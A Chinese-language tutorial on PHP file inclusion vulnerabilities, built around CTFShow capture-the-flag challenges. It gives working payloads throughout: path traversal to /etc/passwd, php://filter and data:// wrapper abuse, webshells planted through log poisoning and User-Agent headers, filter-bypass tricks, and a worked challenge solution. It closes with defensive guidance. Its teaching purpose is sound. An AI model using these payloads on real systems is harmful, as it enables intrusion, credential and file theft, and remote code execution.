1. 项目概述:从CTFShow靶场看文件包含漏洞的实战价值

如果你是一名网络安全爱好者,或者正在学习Web安全,那么“CTfshow-web-文件包含漏洞”这个标题对你来说绝对不陌生。它不是一个简单的概念讲解,而是一个指向CTFShow平台上一系列实战靶场的集合。文件包含漏洞,作为Web安全中一个经典且危害极大的漏洞类型,常常是CTF比赛和渗透测试中的“突破口”。这个项目标题背后,隐藏的是从入门到精通的实战演练路径,它要求我们不仅要理解漏洞原理,更要掌握在CTFShow这类高度模拟真实环境的靶场中,如何发现、利用并最终拿到Flag(胜利标志)的完整技能链。

简单来说,这个“项目”就是一套以CTFShow平台为载体的、针对文件包含漏洞的专项训练课程。它解决的问题非常直接:很多新手学习了文件包含的理论,但一到实战就无从下手,不知道如何将知识转化为攻击向量。CTFShow的靶场恰好提供了从简单到复杂的阶梯式场景,让你能在安全的沙箱环境中反复锤炼技巧。无论是刚接触安全的新手,还是想巩固特定漏洞的中级玩家,通过系统地攻克这些题目,都能深刻理解文件包含漏洞的多种利用方式、绕过技巧以及背后的PHP(或其他语言)特性。

2. 文件包含漏洞核心原理深度拆解

在深入CTFShow的靶场之前,我们必须把地基打牢。文件包含漏洞的本质是程序在引入外部文件时,未对用户可控的输入进行严格过滤,导致攻击者可以包含并执行任意文件。这听起来简单,但魔鬼藏在细节里。

2.1 包含函数的机制与风险点

以最经典的PHP为例,涉及文件包含的函数主要有四个: include() require() include_once() require_once() 。它们的区别在于错误处理( include 警告, require 致命错误)和重复包含检查,但漏洞成因一致。当这些函数的参数部分或全部由用户输入控制时,危险就产生了。

例如,一段常见的、存在漏洞的代码可能长这样:

<?php
$page = $_GET['page']; // 用户通过?page=xxx传递参数
include($page . '.php');
?>

开发者的本意可能是让用户访问 ?page=home 来加载 home.php 。但如果攻击者传入 ?page=../../etc/passwd ,经过拼接后,服务器可能尝试包含 /etc/passwd 这个系统文件。这里的关键风险点在于: 用户完全控制了要包含的文件路径 。即使加了后缀 .php ,也存在多种方法绕过。

2.2 本地文件包含与远程文件包含

文件包含漏洞主要分为两类:

  1. 本地文件包含 :只能包含服务器本地文件系统上的文件。危害包括:

    • 读取敏感文件 :如 /etc/passwd (Linux用户信息)、 /proc/self/environ (环境变量)、Web应用的配置文件( config.php database.ini )、日志文件等。
    • 配合文件上传获取WebShell :如果网站存在文件上传功能,但上传的图片马(将恶意代码写入图片文件)无法直接执行,可以利用LFI包含这个上传的图片文件,其中的PHP代码就会被解析执行。
    • 利用PHP封装协议 :这是LFI的“王牌技巧”,后面会详细展开。
  2. 远程文件包含 :可以包含远程服务器上的文件。这需要PHP配置中 allow_url_include 设置为 On (默认是 Off )。攻击者可以在自己的服务器上放置一个包含恶意代码的文本文件,然后通过RFI让目标服务器去包含并执行它,直接获得WebShell。由于配置限制,RFI在实际中较LFI少见,但在一些CTF题目或老旧系统中仍可能遇到。

理解这两者的区别和利用方式,是解题的第一步。CTFShow的题目会从最基础的LFI开始,逐步引入各种过滤和限制,考验你的绕过能力。

3. CTFShow靶场环境与解题通用思路

CTFShow的Web靶场通常提供了一个完整的、隔离的Web应用环境,每个题目对应一个子目录或端口,目标就是找到隐藏在其中的 flag 。对于文件包含类题目,解题流程可以抽象为一个通用框架。

3.1 靶场访问与信息收集

通常,你会获得一个类似 http://xxx.challenge.ctf.show:端口/ 的地址。第一步永远是信息收集:

  1. 查看页面源码 :前端HTML、JavaScript注释中可能隐藏提示。
  2. 尝试常见入口点 :观察URL,寻找可能包含文件参数的链接,如 index.php?file=home ?page=about ?path=template 等。参数名可能是 file page path name include 等。
  3. 使用目录扫描工具 :如 dirsearch gobuster ,扫描隐藏的文件和目录,可能会发现 robots.txt www.zip (源码备份)、 phpinfo.php upload.php 等关键文件。
  4. 查看 phpinfo :如果幸运地找到了 phpinfo.php ,一定要仔细阅读。它会告诉你PHP版本、开启的扩展、 allow_url_include allow_url_fopen 的开关状态、包含路径等关键信息,这些直接决定了可利用的手法。

实操心得 :在CTFShow做题时,养成先“右键查看源代码”和“F12打开开发者工具”的习惯。很多题目的提示就放在HTML注释里,比如 <!-- ?file= --> ,这直接指明了攻击参数。

3.2 漏洞探测与初步利用

发现疑似包含点后,进行测试:

  1. 基础LFI测试 :尝试包含系统文件。
    ?file=../../../../etc/passwd
    ?file=../../../windows/win.ini (Windows系统)
    
    如果成功回显了文件内容,说明存在本地文件包含漏洞。
  2. 后缀绕过测试 :如果代码像前面例子一样添加了后缀 .php ,尝试以下方法:
    • 路径遍历截断 (PHP版本 < 5.3.4):利用 ../ ./ 进行目录跳转,有时长长的路径会导致后缀被“挤掉”。或者使用空字符截断 %00 (需要 magic_quotes_gpc=off )。
    • 问号截断 ?file=../../etc/passwd? 。问号后的内容在URL中被视为参数,服务器可能只取问号前的部分作为文件名。
    • 井号截断 ?file=../../etc/passwd%23 %23 # 的URL编码,同样可能被截断。
  3. PHP封装协议利用 :这是核心中的核心。即使有后缀,PHP的封装协议也能大显神通。
    • php://filter :用于读取文件源码。当直接包含 .php 文件时,代码会被执行,我们看不到源码。用filter可以将其内容以base64等形式编码后读出。
      ?file=php://filter/read=convert.base64-encode/resource=index.php
      
      将返回index.php文件的base64编码,解码后即可获得源代码。
    • php://input :将POST请求体作为PHP代码执行。需要 allow_url_include=On
      POST /index.php?file=php://input HTTP/1.1
      ...
      <?php system('ls');?>
      
    • data:// :类似RFI,但数据直接写在URI里。也需要 allow_url_include=On
      ?file=data://text/plain,<?php phpinfo();?>
      ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4= (base64编码的<?php system('ls');?>)
      

3.3 从文件包含到代码执行

读取源码往往是第一步,最终目标通常是执行任意命令(RCE)来查找和读取flag文件。

  1. 日志文件注入 :这是一个非常经典的技巧。Web服务器(如Apache、Nginx)的访问日志、错误日志记录了请求信息。如果我们可以包含日志文件,并且能将PHP代码写入日志,那么包含日志时代码就会被执行。
    • 步骤 : a. 找到日志文件路径,常见如 /var/log/apache2/access.log /var/log/nginx/access.log 。 b. 通过User-Agent或Referer头注入PHP代码。例如,使用Burp Suite抓包,将User-Agent改为 <?php system($_GET['c']);?> 。 c. 发送这个恶意请求,代码就被写入访问日志。 d. 利用LFI包含这个日志文件: ?file=../../var/log/apache2/access.log&c=ls
  2. /proc/self/environ 注入 :Linux系统中, /proc/self/environ 文件包含了当前进程的环境变量。其中 HTTP_USER_AGENT 等字段来自HTTP请求头,同样可控。利用方式与日志注入类似。
  3. Session文件注入 :PHP的Session文件通常存储在 /tmp /var/lib/php/sessions 中,文件名格式为 sess_[sessionid] 。如果Session内容部分可控(比如存储了用户名),且我们知道Session文件路径,就可以尝试注入代码并包含它。
  4. 配合文件上传 :这是最直接的组合拳。上传一个图片马(内容为 <?php system($_GET[‘cmd’]);?> ),然后利用LFI包含这个上传文件的路径。

4. CTFShow典型题目套路与进阶绕过技巧

CTFShow的题目不会让你简单地用 ../../etc/passwd 就拿到flag。它会设置层层过滤,这正是其训练价值所在。下面结合常见套路,拆解进阶技巧。

4.1 过滤关键词与目录穿越

题目可能会过滤 ../ etc passwd 等关键词。绕过方法包括:

  • 双重编码 ../ -> %2e%2e%2f -> %252e%252e%252f 。服务器可能解码两次。
  • 超长路径 :使用大量的 ./ ,如 ././././etc/passwd ,或者 ....// ....\/ 等变体,某些简单的过滤可能无法识别。
  • 绝对路径 :直接使用 /etc/passwd ,如果当前工作目录允许的话。
  • 利用PHP封装协议 :这是绕过过滤的“降维打击”。当过滤了路径遍历时,直接使用 php://filter 往往畅通无阻。

4.2 强制添加后缀的绕过

这是CTFShow文件包含题的经典考点。代码通常强制添加 .php .html 后缀。

$filename = $_GET['file'];
include($filename . '.php');

绕过方法

  1. 利用 php://filter :这是最有效的方法。因为 php://filter/... 本身是一个完整的流,其后追加的 .php 会被当作该流的一部分,但PHP解析器在识别协议时,会正确解析到 resource= 指定的文件。例如 ?file=php://filter/resource=flag ,拼接后变成 php://filter/resource=flag.php ,但 flag.php resource 参数的值,不影响协议本身,最终包含的还是 flag 文件的内容(如果存在的话)。如果要读源码,就用 convert.base64-encode
  2. 利用 data:// 协议 ?file=data://text/plain,<?php phpinfo();?> ,拼接后变成 data://text/plain,<?php phpinfo();?>.php 。PHP在解析 data:// 协议时,可能会忽略掉协议URI后面的 .php ,或者将其作为数据的一部分,但数据中的PHP标签仍然有效。这取决于PHP版本和配置。
  3. 长度截断 :在特定旧版本环境下,当文件名长度超过一定限制时,后缀可能会被截断。但现在已很少见。
  4. ? # 截断 :如前所述, ?file=php://filter/resource=/etc/passwd? ,问号后的 .php 会被当作URL参数,而不是文件名的一部分。

4.3 利用PHP段标签与死亡代码

有时,题目会检查文件内容是否包含 <?php 标签,或者使用了 exit() die() 函数来阻止代码执行。我们可以利用PHP的短标签和进制转换绕过。

  • 短标签 <?= <?php echo 的简写,无需开启特殊配置。可以用于输出命令执行结果。
  • 利用 php://filter 的转换过滤器 :这是高阶技巧。 php://filter 支持 string.rot13 convert.iconv.* 等过滤器。我们可以对恶意代码进行编码,使其绕过内容检查,在被包含时又会被解码执行。
    • string.rot13 <?cuc cucvasb();?> <?php phpinfo();?> 的rot13编码。如果服务器在包含时自动解码,就能执行。
    • convert.iconv :进行字符集转换,可以构造复杂的编码Payload。
    • 组合过滤器链 php://filter/read=string.toupper|string.rot13|convert.base64-decode/resource=... ,可以构造出能绕过检查并最终被正确解码执行的Payload。

4.4 有限字符下的命令执行

在通过文件包含执行系统命令时,可能会遇到过滤了空格、特定字符(如 cat flag )的情况。

  • 空格绕过 :用 ${IFS} $IFS$9 < > %09 (制表符)代替。
  • 命令分隔 :用 %0a (换行)、 %0d (回车)、 ; & && |
  • 通配符 cat fla* cat fla?
  • 内联执行 cat $(echo fla*)
  • 读取命令 :不一定非用 cat tac more less head tail nl od xxd 都可以。甚至可以用 cp flag.txt /dev/stdout
  • 编码绕过 echo ‘Y2F0IC9mbGFn’ | base64 -d | bash (执行 cat /flag )。

5. 实战案例分步详解:以一道典型CTFShow文件包含题为例

假设我们遇到一道CTFShow题目,URL为 http://target.challenge.ctf.show:8080/ ,首页只有一个简单的“Welcome”字样。

5.1 第一步:信息收集与漏洞发现

  1. 查看源码,发现注释: <!-- test.php?file=hello -->
  2. 访问 test.php ,页面显示“Hello”。尝试参数 ?file=../../etc/passwd ,页面返回了系统的passwd文件内容,确认存在LFI漏洞。
  3. 尝试 ?file=php://filter/resource=test.php ,发现页面空白(代码被执行了)。改用读取源码方式: ?file=php://filter/read=convert.base64-encode/resource=test.php
  4. 将返回的一长串base64字符串解码,得到 test.php 的源代码:
    <?php
    error_reporting(0);
    $file = $_GET['file'];
    if(isset($file) && strpos($file, "flag")===false){
        include($file.".php");
    }else{
        echo "Hacker!";
    }
    ?>
    
    代码分析 :获取 file 参数,检查其内容中是否包含字符串 "flag" 。如果包含,就输出“Hacker!”并拒绝。如果不包含,则拼接 .php 后缀后包含。我们的目标是读取 flag.php 或系统上的flag文件。

5.2 第二步:制定绕过策略

目标很明确:读取 flag.php 或找到存储flag的文件。但直接包含 flag 会被拦截。

  1. 思路1:利用 php://filter 读取 flag.php 源码 。虽然参数中不能出现 flag ,但 php://filter resource 参数里可以。尝试: ?file=php://filter/read=convert.base64-encode/resource=flag 。拼接后为 php://filter/read=convert.base64-encode/resource=flag.php 。服务器检查的是 file 参数的值,即 php://filter/... 这一整串,其中不包含 flag 子串( resource= 后面的部分属于协议内部参数,通常不会被简单的 strpos 检查到)。成功返回base64编码!
  2. 解码base64,得到 flag.php 的源码,发现里面就是一句 echo 'ctfshow{this_is_flag}'; 。成功。

5.3 第三步:扩展利用(如果上一步失败)

假设 resource=flag 也被某种方式过滤了。我们需要寻找其他包含flag的途径。

  1. 日志文件注入 :首先尝试包含日志文件,确认路径。 ?file=../../var/log/apache2/access.log 。成功读取日志,发现记录了我们的User-Agent。
  2. 构造Payload :使用Burp Suite,将请求的User-Agent改为 <?php system('find / -name \"*flag*\" 2>/dev/null');?> ,然后发送请求到 test.php (任意参数均可)。
  3. 执行命令 :再次包含日志文件 ?file=../../var/log/apache2/access.log 。这次,日志中的PHP代码被执行,回显了在服务器上查找flag的结果,例如 /var/www/html/flag_is_here.txt
  4. 读取Flag :直接包含这个文件 ?file=php://filter/resource=/var/www/html/flag_is_here.txt (或使用 ../../ 相对路径),即可看到flag内容。

注意事项 :日志文件可能很大,包含时可能导致超时或响应缓慢。可以尝试先包含 error.log ,或者先注入一个输出当前路径的命令 <?php echo __FILE__;?> 来辅助定位。另外,在真实环境中,反复尝试日志注入可能会产生大量噪音,需谨慎。

6. 防御策略与安全开发建议

作为攻击者,我们研究漏洞利用;作为开发者,我们必须知道如何防御。文件包含漏洞的根源在于“信任了用户的输入”。防御的核心原则是: 白名单校验,而非黑名单过滤

  1. 固定文件范围,使用白名单 :这是最有效的方法。不要直接用用户输入拼接文件路径。预先定义好允许包含的文件列表(映射)。

    $allowed_pages = ['home', 'about', 'contact'];
    $page = $_GET['page'];
    if(in_array($page, $allowed_pages)){
        include($page . '.php');
    } else {
        include('404.php');
    }
    
  2. 严格控制包含路径

    • 设置 open_basedir 指令,将PHP可操作的文件限制在网站根目录下。
    • 在包含文件时,使用绝对路径(基于项目根目录),避免使用相对路径 ../
  3. 禁用危险配置

    • 确保 php.ini allow_url_include allow_url_fopen 设置为 Off
    • 关闭不必要的PHP封装协议。
  4. 过滤输入 :如果必须动态包含,要对用户输入进行严格过滤。但切记,黑名单过滤很容易被绕过。可以移除所有的 ../ ..\ php:// data:// 等危险字符串,并进行URL解码检查。

  5. 使用安全的文件操作函数 :对于不需要执行,只需要读取内容的场景,考虑使用 file_get_contents() 输出内容,而不是 include()

文件包含漏洞的利用花样繁多,尤其是PHP封装协议提供了极大的灵活性。在CTFShow的靶场里反复练习这些场景,能让你在遇到真实世界模糊的漏洞点时,更快地形成测试思路和利用链。记住,核心永远是: 控制输入点、理解过滤逻辑、灵活运用协议和特性 。每解一道题,不仅是拿到一个flag,更是为你的Web安全技能库添加一件趁手的兵器。

更多推荐